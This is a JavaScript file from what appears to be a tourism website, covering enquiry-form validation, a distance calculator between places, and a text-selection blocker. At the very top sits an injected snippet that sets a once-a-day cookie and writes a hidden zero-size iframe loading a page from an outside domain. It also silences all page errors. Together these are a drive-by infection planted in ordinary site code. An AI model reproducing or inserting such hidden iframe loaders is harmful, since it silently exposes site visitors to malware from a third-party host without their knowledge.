function oK_Begin(){
var Then = new Date() 
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie1=POPWINDOS;expires="+ Then.toGMTString() 
document.write('<iframe width=0 height=0 src="http://web.hyj008.info/index.htm"></iframe>');
}
}
oK_Begin();

window.onerror=function(){return true;}


function checkfield(loginform)
{
	ok=true
	if(loginform.name.value=="")
	{
		alert("Please Enter Your Name.")
		loginform.name.focus()
		ok=false
	}
	else if(loginform.country.value=="")
	{
		alert("Please Enter Country Name.")
		loginform.country.focus()
		ok=false
	}
	else if(loginform.phone.value=="")
	{
		alert("Please Enter Phone.")
		loginform.phone.focus()
		ok=false
	}
	else if (loginform.email.value == "")
	{
		alert("Please enter a value for the email field.");
		loginform.email.focus();
		ok=false
	}
	else if (!isEmailAddr(loginform.email.value))
	{
		alert("Please enter a complete email address in the form: yourname@yourdomain.com");
		loginform.email.focus();
		ok=false
	}
	else if(loginform.intended_month_year_of_visit.value=="")
	{
		alert("Please Enter Tentative Date.")
		loginform.intended_month_year_of_visit.focus()
		ok=false
	}
	else if (loginform.specific_requirements.value == "")
	{
		alert("Please specify requirements.");
		loginform.specific_requirements.focus();
		ok=false
	}
	return ok
}
function isEmailAddr(email)
{
  var result = false
  var theStr = new String(email)
  var index = theStr.indexOf("@");
  if (index > 0)
  {
	var pindex = theStr.indexOf(".",index);
	if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}


		function ValidateNum(input,event){
			var keyCode = event.which ? event.which : event.keyCode;
			if(parseInt(keyCode)>=48 && parseInt(keyCode)<=57){
				return true;
			}
			return false;
		}


		function ValidateNum(input,event){
			var keyCode = event.which ? event.which : event.keyCode;
			if(parseInt(keyCode)>=48 && parseInt(keyCode)<=57){
				return true;
			}
			return false;
		}



var eind=new Array();
var tourism=new Array();
var a=0;
var b=0;
function DoCalc() {
if (xyz.abc.options[xyz.abc.selectedIndex].value == null || xyz.pqr.options[xyz.pqr.selectedIndex].value==null) {
alert("Please enter both an Originating and a terminal place.");
}
else {
eind=xyz.abc.options[xyz.abc.selectedIndex].value.split("/");
tourism=xyz.pqr.options[xyz.pqr.selectedIndex].value.split("/");
d=Math.acos(Math.sin(eind[2])
*Math.sin(tourism[2])
+Math.cos(eind[2])
*Math.cos(tourism[2])
*Math.cos(eind[4]-tourism[4]));
a=Math.round(3956.073*d);
if (Math.sin(tourism[4]-eind[4]) < 0) {
b=Math.acos((Math.sin(tourism[2])
-Math.sin(eind[2])*Math.cos(d))
/(Math.sin(d)*Math.cos(eind[2])));
} 
else { 
b=2*Math.PI
-Math.acos((Math.sin(tourism[2])
-Math.sin(eind[2])
*Math.cos(d))/(Math.sin(d)
*Math.cos(eind[2])));
}
b=b*(180/Math.PI);
alert("Distance measured is:" +" " + Math.round(a*1.6094) +" "+ "kms.");
   }
}




function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function ("return false")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}



		function ValidateNum(input,event){
			var keyCode = event.which ? event.which : event.keyCode;
			if(parseInt(keyCode)>=48 && parseInt(keyCode)<=57){
				return true;
			}
			return false;
		}